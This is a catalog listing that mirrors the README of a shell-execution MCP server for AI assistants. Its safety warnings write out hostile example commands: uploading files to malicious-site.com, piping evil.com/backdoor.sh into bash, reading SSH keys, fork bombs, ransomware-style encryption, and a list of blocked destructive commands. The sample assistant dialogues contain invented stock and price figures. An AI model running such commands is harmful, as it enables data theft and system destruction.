
A directory listing describing a cancellation-letter and mailing-address service. The configured public GitHub repository returned 404 during source verification.

An MCP server that lets AI assistants execute shell commands, manage files, inspect system resources and processes, and automate workflows with security controls.
Shell MCP server for command execution and system operations is cataloged as an MCP server attributed to lucivuc. An MCP server that lets AI assistants execute shell commands, manage files, inspect system resources and processes, and automate workflows with security controls. It is categorized under developer tools. See the capability inspector for recorded interfaces and their independent review status; consult upstream documentation for the current interface.
Installation configuration is not reviewed. No executable setup is offered for this entry; inspect the source repository before proceeding.
Catalog license label: MIT. Check the source repository's current license and terms before using, modifying or distributing this software.
能力定义尚未审核。未核验的采集内容不会作为可信接口展示。
暂无可展示的已审核记录。这不表示上游不支持此能力。
暂无可展示的已审核记录。这不表示上游不支持此能力。
暂无可展示的已审核记录。这不表示上游不支持此能力。
Email delivery is not connected. This page does not collect email addresses or create subscriptions.
Browse the registry for current listings instead.
Reviews for Shell MCP server for command execution and system operations are not available yet
Review publishing and storage are not connected. This page does not collect or publish ratings or comments, including after sign-in.
It includes sandbox mode, command validation, timeout protection, output size limits, rate limiting, path traversal protection, Zod input validation, optional audit logging, and sudo protection disabled by default.
Sudo is blocked by default and requires opting in with ALLOW_SUDO=true; it can use NOPASSWD sudoers rules or a SUDO_PASSWORD that is never logged.
README.md · 6bbb62101c5f · 采集于 2026-11-13 13:30:18 UTC
保留上游原文,不做 AI 改写。为安全起见过滤脚本、表单和不安全链接。
当前显示最后一次成功采集的文档快照,请以来源页面为准。
A production-ready MCP (Model Context Protocol) server that provides shell command execution and system operations capabilities.
📚 View the complete documentation website for an enhanced reading experience with interactive examples and guides.
This MCP server enables AI assistants (like Claude, ChatGPT, or other AI agents) to interact with your computer's operating system. Once connected, your AI assistant can:
Think of it as giving your AI assistant "hands" to help you with system administration, development tasks, data processing, financial monitoring, online shopping, and everyday automation—all while maintaining security controls.
From simple tasks like organizing files, to advanced automation like monitoring your stock portfolio and finding the best deals online, your AI assistant becomes a powerful personal automation engine.
THIS SOFTWARE PROVIDES SHELL COMMAND EXECUTION CAPABILITIES TO AI ASSISTANTS. USE AT YOUR OWN RISK.
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
By using this MCP server, you acknowledge and accept full responsibility for:
Running this server WITHOUT sandbox mode gives your AI assistant UNRESTRICTED ACCESS to:
WITHOUT SANDBOX_MODE=true, YOUR AI ASSISTANT HAS THE SAME POWER AS YOU SITTING AT YOUR KEYBOARD.
Data Loss:
Financial Risk:
System Instability:
Privacy Exposure:
Malicious AI Behavior:
Scenario 1: Data Exfiltration
# AI could be tricked into running:
curl -X POST https://malicious-site.com/upload \
--data-binary @~/Documents/sensitive-data.pdf
Scenario 2: Cryptocurrency Mining
# AI starts background mining process:
nohup ./cryptominer --wallet=attacker-address &
Scenario 3: Backdoor Installation
# AI downloads and runs malicious script:
curl https://evil.com/backdoor.sh | bash
Scenario 4: Unauthorized Financial Transactions
# If trading credentials are accessible:
python execute_trade.py --symbol=LOSS --amount=ALL --action=SELL
Scenario 5: Ransomware-like Behavior
# AI encrypts files or moves them:
find ~/Documents -type f -exec gpg --encrypt {} \;
Scenario 6: System Sabotage
# Filling disk space:
dd if=/dev/zero of=~/bigfile.img bs=1G count=100
Scenario 7: Credential Harvesting
# Searching for sensitive data:
grep -r "password\|api_key\|secret" ~ > /tmp/credentials.txt
ALWAYS START WITH SANDBOX_MODE=true
# In your AI assistant config:
"SANDBOX_MODE": "true"
Run with Limited User Permissions
Use Network Isolation
Review Commands Before Execution
--dry-run flags when availableImplement File System Restrictions
# Only allow access to specific directories
# Use chroot, Docker volumes, or similar isolation
Monitor and Audit
Limit Financial/Trading Automation
Regular Backups
For Testing/Learning:
{
"SANDBOX_MODE": "true",
"COMMAND_TIMEOUT": "10000",
"DEBUG": "true"
}
For Personal Use (Low Risk Tasks):
{
"SANDBOX_MODE": "true",
"COMMAND_TIMEOUT": "30000",
"DEBUG": "false"
}
For Production/Critical Systems:
DO NOT USE THIS SERVER ON PRODUCTION SYSTEMS WITHOUT:
- Comprehensive security review
- Penetration testing
- Access control implementation
- Audit logging
- Incident response plan
You are responsible for ensuring:
Trading and Financial Automation:
Web Scraping and Automation:
This server is intended for:
This server is NOT intended for:
If you suspect your AI assistant has been compromised or is acting maliciously:
Using this MCP server means trusting your AI assistant with significant system access. While AI assistants are generally helpful and follow instructions, they:
YOU are ultimately responsible for everything that happens on your system.
When in doubt, use SANDBOX_MODE=true and manually review commands before execution.
Scenario 1: Automated Project Setup
"Set up a new React project with TypeScript, install dependencies, initialize Git, and create a basic file structure."
Your AI assistant can execute all these commands, create necessary configuration files, and verify the setup—saving you 15-20 minutes of repetitive work.
Scenario 2: Code Analysis & Refactoring
"Find all TODO comments in my project, categorize them by priority, and create a markdown report."
The AI can search your codebase, analyze patterns, and generate comprehensive reports.
Scenario 3: Development Environment Debugging
"Check why my Docker container isn't starting. Look at the logs, verify port availability, and check system resources."
Your AI assistant can investigate issues by running diagnostic commands and interpreting results.
Scenario 4: System Health Monitoring
"Give me a comprehensive health check: CPU usage, memory stats, disk space, and any processes using excessive resources."
Get instant, interpreted system diagnostics without manually running multiple commands.
Scenario 5: Log Analysis
"Check the last 100 lines of the system log for errors, summarize the issues, and suggest solutions."
AI can not only retrieve logs but also analyze patterns and provide actionable insights.
Scenario 6: Automated Maintenance
"Clean up old Docker images, remove unused npm packages globally, and clear system cache files older than 30 days."
Execute complex cleanup routines with a single natural language request.
Scenario 7: Data Pipeline Automation
"Download the CSV from this URL, convert it to JSON, remove duplicates, and save it with today's date."
Chain multiple data processing commands with AI understanding the context.
Scenario 8: Batch File Processing
"Find all .csv files in the data folder, get their row counts, and create a summary report."
Automate repetitive data exploration tasks.
Scenario 9: Deployment Verification
"Check if the application is running on port 8080, verify the database connection, and test the health endpoint."
Automated post-deployment validation with intelligent interpretation.
Scenario 10: Resource Optimization
"Find processes consuming more than 500MB of RAM, identify what they are, and suggest if any can be safely terminated."
Proactive resource management with AI-guided decision making.
Scenario 11: Stock Market Monitoring
"Check the current price of Apple, Microsoft, and Tesla stocks. Alert me if any drop below their 50-day moving average."
Your AI can execute Python/Node.js scripts or use curl to fetch real-time stock data from APIs (Alpha Vantage, Yahoo Finance, etc.), analyze trends, and monitor your portfolio automatically.
Scenario 12: Automated Trading Signals
"Every morning at 9:30 AM, analyze the top 10 tech stocks, check their pre-market movement, and create a trading signals report with buy/sell recommendations based on technical indicators."
Set up cron jobs or scheduled scripts that your AI runs to fetch market data, perform technical analysis (RSI, MACD, Bollinger Bands), and generate actionable insights—all automated through shell commands.
Scenario 13: Portfolio Tracking
"I bought 10 shares of NVDA at $875. Track its performance, calculate my current profit/loss, and notify me if it gains or loses more than 5%."
Your AI can maintain a portfolio tracker script, update it with real-time data, and send you intelligent summaries of your investments.
Scenario 14: Smart Browser Automation
"Open Chrome, navigate to my company's dashboard, take a screenshot of the analytics page, and save it to my reports folder."
Using commands like open (macOS), start (Windows), or xdg-open (Linux), plus tools like Puppeteer or Selenium scripts, your AI can automate browser tasks, scrape data, and capture information.
Scenario 15: Application Management
"Launch Spotify, play my 'Focus' playlist, then open VS Code with my current project, and start the MongoDB server."
Your AI can orchestrate your entire work environment by launching applications, executing AppleScripts (macOS), PowerShell scripts (Windows), or shell commands to create your perfect workspace setup with one request.
Scenario 16: Web Search & Research
"Search for the latest information about 'quantum computing breakthroughs 2026' from multiple sources, summarize the findings, and save them to a markdown file."
Using curl, wget, or Python scripts with BeautifulSoup, your AI can search the web, aggregate information from multiple sources, and compile research reports automatically.
Scenario 17: Amazon Shopping Assistant
"Search Amazon for the best-rated wireless headphones under $200, compare the top 5 options by price and reviews, and create a comparison table."
Your AI can run scripts that use Amazon's Product Advertising API or web scraping to:
Scenario 18: Online Price Monitoring
"Monitor the price of the 'Sony A7 IV camera' across Amazon, B&H, and Adorama. Check every 6 hours and alert me when it drops below $2,300."
Set up automated price tracking scripts that your AI manages, running scheduled checks and notifying you of price drops or lightning deals.
Scenario 19: Smart Shopping Lists
"I need to buy ingredients for lasagna. Search for the best prices on Amazon Fresh and local grocery delivery services, then generate a shopping list with the cheapest options."
Your AI can aggregate data from multiple sources, compare prices, and optimize your shopping to save money—all automated through API calls and web searches.
Scenario 20: Multi-Platform Search & Purchase
"I need a standing desk. Search Amazon, IKEA, and Wayfair for options between $300-$500, filter by ratings above 4.5 stars, and create a comparison spreadsheet."
Your AI orchestrates searches across multiple platforms, normalizes the data, applies your criteria, and presents organized results—saving hours of manual research.
Complete Morning Routine:
"Good morning! Check my stock portfolio, show me any significant overnight movements, open my browser to Gmail and calendar, start my development environment, and give me a weather forecast."
End-of-Day Workflow:
"Close all my work apps, back up today's code changes, check if any of my watched Amazon items have price drops, summarize my system's resource usage today, and shut down unnecessary services."
Shopping Automation:
"I need to buy: noise-canceling headphones, a mechanical keyboard, and a laptop stand. For each, find the top 3 options on Amazon under $150, $100, and $50 respectively. Compare them and tell me which combination gives the best value."
There are two ways to configure shell-mcp with Claude Desktop:
Install the server:
git clone https://github.com/luciVuc/shell-mcp.git
cd shell-mcp
npm install
npm run build
Configure Claude Desktop:
Edit your Claude Desktop config file:
~/Library/Application Support/Claude/claude_desktop_config.json%APPDATA%\Claude\claude_desktop_config.jsonAdd this configuration:
{
"mcpServers": {
"shell": {
"command": "node",
"args": ["/absolute/path/to/shell-mcp/dist/main.js"],
"env": {
"SANDBOX_MODE": "false",
"COMMAND_TIMEOUT": "30000"
}
}
}
}
Restart Claude Desktop
If you prefer not to clone and build the project locally, you can run shell-mcp directly from npm using npx:
Configuration without installing:
Edit your Claude Desktop config file as above, and add:
{
"mcpServers": {
"shell": {
"command": "npx",
"args": ["@lucid-spark/shell-mcp"],
"env": {
"SANDBOX_MODE": "false",
"COMMAND_TIMEOUT": "30000"
}
}
}
}
For production use (with sandbox enabled):
{
"mcpServers": {
"shell": {
"command": "npx",
"args": ["@lucid-spark/shell-mcp"],
"env": {
"SANDBOX_MODE": "true",
"COMMAND_TIMEOUT": "30000"
}
}
}
}
Note: The first time you run this, npx will download and cache the package. Subsequent runs will use the cached version for faster startup.
After configuring either option:
Restart Claude Desktop
Start using it:
"Can you check my system's CPU and memory usage?" "Create a backup script that archives my projects folder." "Find all JavaScript files modified in the last week."
See CLAUDE_SETUP.md for detailed configuration options and environment variables.
Any AI assistant that supports the Model Context Protocol can use this server:
Example: Custom AI Agent (Python)
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
# Connect to the MCP server
server_params = StdioServerParameters(
command="node",
args=["/path/to/shell-mcp/dist/main.js"],
env={"SANDBOX_MODE": "true"}
)
async with stdio_client(server_params) as (read, write):
async with ClientSession(read, write) as session:
# Initialize connection
await session.initialize()
# List available tools
tools = await session.list_tools()
# Execute a command
result = await session.call_tool("exec", {
"command": "df -h"
})
print(result)
Example: Node.js AI Agent
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
// Create MCP client
const transport = new StdioClientTransport({
command: "node",
args: ["/path/to/shell-mcp/dist/main.js"],
env: { SANDBOX_MODE: "true" },
});
const client = new Client(
{
name: "my-ai-agent",
version: "1.0.0",
},
{ capabilities: {} }
);
await client.connect(transport);
// Get system info
const result = await client.callTool({
name: "getSystemInfo",
arguments: {},
});
console.log(result);
Once connected, your AI assistant can help with:
System Operations:
File Management:
Development Tasks:
Data Processing:
Automation:
Debugging & Diagnostics:
Here are real examples of how you might interact with your AI assistant once this MCP server is connected:
You: "Can you check my system's health and let me know if anything needs attention?"
AI Assistant: Uses getSystemInfo tool, then exec to check disk space and running processes
"Your system looks healthy overall:
I noticed your Docker Desktop is using 3.2GB of RAM. Would you like me to check if there are any unused containers we can remove?"
You: "I have a Node.js project in ~/projects/my-app. Can you analyze it and tell me about its structure and any potential issues?"
AI Assistant: Uses listDir and readFile tools
"I've analyzed your project. Here's what I found:
Would you like me to create a detailed report or help fix any of these issues?"
You: "I have CSV files in ~/data/sales/ from this month. Can you combine them, remove duplicates, and create a summary?"
AI Assistant: Uses listDir, readFile, exec, and writeFile tools
"Done! I've processed your sales data:
Summary statistics:
The combined file is ready at ~/data/sales/february_2026_summary.csv"
You: "Set up a new React project called 'dashboard' with TypeScript, install Tailwind CSS, and create a basic component structure."
AI Assistant: Uses exec and writeFile tools
"Project setup complete! Here's what I did:
Next steps you might want:
Would you like me to add anything else?"
You: "My web server won't start. It's supposed to run on port 3000. Can you help me figure out why?"
AI Assistant: Uses exec and listProcesses tools
"I found the issue! Port 3000 is already in use:
Process using port 3000:
This appears to be an old server that's still running. Options:
What would you like to do?"
You: "I'm interested in tech stocks. Can you check the current prices for Apple, Microsoft, Google, and NVIDIA, and let me know if any look like good buying opportunities based on their recent performance?"
AI Assistant: Uses exec tool to run a Python script that fetches stock data via APIs
"I've analyzed the current market data for your tech stocks:
AAPL (Apple Inc.) - $178.45 (+2.3% today)
MSFT (Microsoft) - $412.80 (-0.8% today)
GOOGL (Alphabet) - $145.20 (+1.1% today)
NVDA (NVIDIA) - $892.30 (+4.7% today)
Best Opportunity: MSFT looks like the best entry point if it dips to $405-408 range. AAPL is also showing good momentum with room to grow.
Would you like me to:
You: "I need to buy a good pair of wireless noise-canceling headphones for under $300. Can you help me find the best options on Amazon?"
AI Assistant: Uses exec tool to run a web scraping script or Amazon API integration
"I've searched Amazon for wireless noise-canceling headphones under $300. Here are the top 5 options:
1. Sony WH-1000XM5 - $279.99 ⭐⭐⭐⭐⭐
2. Bose QuietComfort 45 - $249.00 ⭐⭐⭐⭐⭐
3. Apple AirPods Max - $449.00 ❌ (Over budget)
4. Sennheiser Momentum 4 - $289.99 ⭐⭐⭐⭐⭐
5. Anker Soundcore Space Q45 - $129.99 ⭐⭐⭐⭐
My Recommendation: If you want the absolute best: Sony WH-1000XM5 (best noise canceling) If you want the best deal: Bose QC45 (amazing price right now at $249!)
Additional insights:
Would you like me to:
You: "Can you set up a morning routine that checks my stock portfolio, the market news, and opens my trading dashboard every weekday at 9:00 AM?"
AI Assistant: Uses writeFile to create a script and exec to set up a cron job
"I've created a comprehensive morning market routine! Here's what I set up:
Created: ~/scripts/morning-market-routine.sh
What it does at 9:00 AM every weekday:
Scheduled: Cron job installed for weekdays at 9:00 AM EST
Sample of what you'll see tomorrow:
═══════════════════════════════════════════
📊 MORNING MARKET BRIEFING - Feb 29, 2026
═══════════════════════════════════════════
YOUR PORTFOLIO:
Total Value: $48,320 (+$420 overnight, +0.88%)
AAPL: 25 shares @ $178.45 → $4,461 (+1.2%)
MSFT: 10 shares @ $412.80 → $4,128 (-0.3%)
NVDA: 15 shares @ $892.30 → $13,384 (+2.1%)
Cash: $26,347
MARKET OVERVIEW:
S&P 500: +0.4% (pre-market)
NASDAQ: +0.7% (tech rally continues)
TRENDING: AI chipmakers surging on new data center demand
Top gainer: AMD +3.8% pre-market
NEWS ALERTS:
- NVDA announces new AI chip partnership
- MSFT expanding cloud services in Europe
Your browser will auto-open to your dashboard, and the full report will be saved to ~/market-reports/2026-02-29.txt
Want me to tweak any settings or add more features?"
Be Specific:
Ask for Summaries:
Request Multi-Step Actions:
Use Natural Language:
find commandsStart with Sandbox Mode:
# In your AI assistant config
"SANDBOX_MODE": "true"
This adds extra safety checks while you get comfortable.
Review Before Destructive Actions:
Use for Automation:
Monitor Resource Usage:
For advanced automation like stock market monitoring, web browsing, and online shopping, you may need additional tools:
Option 1: Free APIs (Recommended for starting)
# Alpha Vantage (Free tier: 500 requests/day)
# Get your free API key at: https://www.alphavantage.co/support/#api-key
export ALPHA_VANTAGE_API_KEY="your_key_here"
Option 2: Premium APIs
Example Script Your AI Can Use:
# ~/scripts/stock_checker.py
import requests
import os
def get_stock_price(symbol):
api_key = os.getenv('ALPHA_VANTAGE_API_KEY')
url = f'https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol={symbol}&apikey={api_key}'
response = requests.get(url)
return response.json()
# Your AI assistant can run: python ~/scripts/stock_checker.py
Install Puppeteer (Node.js) or Playwright:
# For web scraping and browser automation
npm install -g puppeteer
# or
npm install -g playwright
Your AI can then:
Option 1: Amazon Product Advertising API
Option 2: Web Scraping (for personal use)
# Install a scraping tool
pip install beautifulsoup4 requests
Option 3: Price Tracking Tools
# CamelCamelCamel API integration or similar services
# Your AI can check price history automatically
macOS:
# Your AI uses commands like:
open -a "Google Chrome" https://amazon.com
open -a "Spotify"
Windows:
start chrome https://amazon.com
start spotify
Linux:
xdg-open https://amazon.com
spotify &
Your AI can set up scheduled tasks:
macOS/Linux (Cron):
# Your AI creates cron jobs for you
crontab -e
# Example: Check stocks every hour on weekdays
0 9-16 * * 1-5 /usr/bin/python3 ~/scripts/stock_checker.py
Windows (Task Scheduler):
# Your AI can create scheduled tasks
schtasks /create /tn "StockCheck" /tr "python stock_checker.py" /sc daily /st 09:00
Your AI Assistant Can Help You Setup:
To use this MCP server with your AI assistant, follow these steps:
Clone or download this repository:
git clone https://github.com/luciVuc/shell-mcp.git
cd shell-mcp
Install dependencies:
npm install
Build the server:
npm run build
Configure your AI assistant (see "How to Use with AI Assistants" section above)
Start chatting with your AI! Your assistant now has access to system operations.
Customize behavior using environment variables:
| Variable | Default | Description |
|---|---|---|
TRANSPORT | stdio | Transport type: stdio, sse, or streamable-http |
SANDBOX_MODE | false | When true, blocks risky commands (network, process control, etc.) |
COMMAND_TIMEOUT | 30000 | Maximum time (ms) for commands to run |
ALLOW_SUDO | false | When true, allows sudo prefixed commands |
SUDO_PASSWORD | — | Password for sudo -S (never logged) |
DEBUG | false | Enables detailed logging |
AUDIT_LOG | false | Logs all tool calls to logs/audit.log |
PORT | 3000 | HTTP port for SSE / Streamable HTTP transports |
HOST | 127.0.0.1 | Host/IP to bind for HTTP transports |
MCP_ENDPOINT | /mcp | Endpoint path for Streamable HTTP transport |
Example .env file:
SANDBOX_MODE=false
COMMAND_TIMEOUT=30000
DEBUG=false
TRANSPORT=stdio
Sudo commands are blocked by default for security. To enable privileged command execution:
Configure specific commands in your sudoers file so no password is required:
# Edit sudoers safely
sudo visudo
# Add a rule for the user running the MCP server
mcp-user ALL=(ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/systemctl restart nginx
Then enable sudo in your configuration:
{
"mcpServers": {
"shell": {
"command": "node",
"args": ["/path/to/shell-mcp/dist/main.js"],
"env": {
"ALLOW_SUDO": "true"
}
}
}
}
If NOPASSWD is not an option, provide SUDO_PASSWORD. The password is piped via sudo -S and never logged:
{
"mcpServers": {
"shell": {
"command": "node",
"args": ["/path/to/shell-mcp/dist/main.js"],
"env": {
"ALLOW_SUDO": "true",
"SUDO_PASSWORD": "your-password-here"
}
}
}
}
⚠️ Security Warning: Environment variables may be visible in process listings. For production, prefer NOPASSWD sudoers rules scoped to specific commands. Enable
AUDIT_LOG=trueto track all sudo usage.
When ALLOW_SUDO is not set (the default), any command starting with sudo is rejected:
❌ "sudo apt-get update" → Error: Sudo commands are not allowed
✅ "apt-get update" → Runs as the current user (may fail without privileges)
If you're developing or extending this server:
# Install dependencies
npm install
# Build the project
npm run build
# Run unit tests
npm run test:unit
# Run integration tests
npm test
# Start the server (for development)
npm run dev
# or
npm start
For deploying with Claude Desktop, see CLAUDE_SETUP.md.
# Watch mode for development
npm run watch
# Test with MCP Inspector (interactive UI for testing)
npm run inspector
# Lint code
npm run lint
npm run lint:fix
# Format code
npm run format
# Run unit tests (vitest)
npm run test:unit
# Run unit tests in watch mode
npm run test:unit:watch
# Run integration tests
npm test
# Run client test (alternative test implementation)
npm run test:client
# Run debug test (see raw server output)
npm run test:debug
Unit tests are in test/unit/ (vitest) and integration tests in test/ (tsx).
Execute arbitrary shell commands.
Input:
command (string): The shell command to executeExample:
{
"name": "exec",
"arguments": {
"command": "echo 'Hello World'"
}
}
Read the contents of a file.
Input:
path (string): Path to the fileWrite content to a file.
Input:
path (string): Path to the filecontent (string): Content to writeDelete a file.
Input:
path (string): Path to the fileList contents of a directory.
Input:
path (string): Path to the directoryGet system information (CPU, memory, disk, OS).
Input: None
List running processes, optionally filtered.
Input:
filter (string, optional): Filter pattern for process names⚠️ See Important Disclaimer & Safety Warning section above for comprehensive security information.
This server provides powerful shell access with inherent security risks. Review the following:
SANDBOX_MODE=true for additional safety warnings and validation/etc/shadow, /etc/passwd, /proc/, /sys/, /dev/)ALLOW_SUDO=true opt-inThe following extremely dangerous command patterns are automatically blocked:
rm -rf / - Recursive deletion of the root filesystem. This would destroy all files on the system, making it unbootable and causing complete data loss.
mkfs - Filesystem formatting command. Creates a new filesystem on a device, erasing all existing data. Could destroy entire partitions or disks if misused.
dd if= - Low-level disk writing operations. The dd command can write directly to disk devices, potentially overwriting critical system data, partition tables, or bootloaders.
> /dev/ - Direct device file manipulation. Redirecting output to device files (especially /dev/sda, /dev/zero, etc.) can corrupt storage devices or cause system instability.
These built-in protections are MINIMAL and do NOT prevent:
cat ~/.ssh/id_rsa)rm -rf ~/Documents)curl -X POST attacker.com --data @secret.txt)curl malware.com/script.sh | bash):(){ :|:& };: - fork bomb)The built-in protections only block a small set of catastrophic system-level commands.
Run in Isolated Environment
Implement Access Control
Monitor and Audit
Defense in Depth
User Education
This MCP server is a tool that grants shell access to AI assistants. The security of your system depends on:
No amount of built-in security can protect against all threats. Use with caution and appropriate safeguards.
src/
├── main.ts # Entry point, env var parsing, graceful shutdown
├── server.ts # MCP server with multi-transport support
├── executors/
│ ├── index.ts # Barrel export
│ └── shellExecutor.ts # Shell command execution with sandboxing
├── tools/
│ ├── index.ts # Barrel export
│ ├── toolRegistry.ts # Tool registration, routing, audit integration
│ └── handlers/
│ ├── index.ts # Barrel export
│ ├── execTool.ts # Shell execution tool
│ ├── fileTools.ts # File operation tools with path validation
│ ├── systemInfoTool.ts # System info tool
│ └── processTool.ts # Process management tool
├── types/
│ └── index.ts # TypeScript interfaces and type definitions
└── utils/
├── index.ts # Barrel export
├── logger.ts # Logging utility (DEBUG env var)
├── validation.ts # Zod schemas, path traversal protection
├── rateLimiter.ts # Sliding-window rate limiter (60 req/min)
└── auditLogger.ts # Persistent audit logging (JSON Lines)
test/
├── integration.test.ts # Main integration tests
├── client.test.ts # Alternative client test
├── debug.test.ts # Debug/diagnostic test
├── README.md # Test documentation
└── unit/ # Unit tests (vitest)
├── auditLogger.test.ts
├── execTool.test.ts
├── fileTools.test.ts
├── logger.test.ts
├── processTool.test.ts
├── rateLimiter.test.ts
├── server.test.ts
├── shellExecutor.test.ts
├── systemInfoTool.test.ts
├── toolRegistry.test.ts
└── validation.test.ts
This server supports three MCP transport types:
Communicates over stdin/stdout. Best for local integrations like Claude Desktop.
# Default — no extra configuration needed
node dist/main.js
Starts an HTTP server with Server-Sent Events streaming.
GET /sse — establishes the SSE streamPOST /messages?sessionId=X — receives JSON-RPC messagesTRANSPORT=sse PORT=3000 node dist/main.js
Note: The SSE transport is deprecated by the MCP SDK. Prefer Streamable HTTP for new integrations.
Starts an HTTP server using the MCP Streamable HTTP specification.
POST /mcp — handles JSON-RPC requests (with optional SSE streaming)GET /mcp — establishes a standalone SSE stream for server-initiated messagesDELETE /mcp — closes the sessionTRANSPORT=streamable-http PORT=3000 MCP_ENDPOINT=/mcp node dist/main.js
This server implements the Model Context Protocol (MCP) standard:
tools/list for discovering available toolstools/call for executing toolsMIT
See CHANGELOG.md for the full version history.
Contributions are welcome! Please see CONTRIBUTING.md for full guidelines.
Key points:
View the complete documentation website →
A comprehensive, user-friendly documentation site with:
✅ Production Ready - v1.1.0
This project has been thoroughly tested and includes:
For issues, questions, or contributions:
Built with ❤️ using the Model Context Protocol (MCP)
Claim this server with your GitHub account to request manual ownership verification.
Link to the catalog listing for Shell MCP server for command execution and system operations from your README. This badge does not certify ownership, compatibility or security.
[](https://awesome-mcp.com/servers/shell-mcp)Public repository statistics could not be verified. Check the configured source address; unavailable counts are not zero.
来源、范围和时段分别列出;不相加,不代表安装人数、活跃用户或安全审核。
尚无已审核的包 / 镜像标识,暂不展示下载统计。
Alternative and complementary servers in the same category

A directory listing describing a cancellation-letter and mailing-address service. The configured public GitHub repository returned 404 during source verification.

A hosted MCP service for browsing and searching through Singapore mobile-network proxies.

A directory listing describing a Markdown-to-PDF service. The configured public GitHub repository returned 404 during source verification.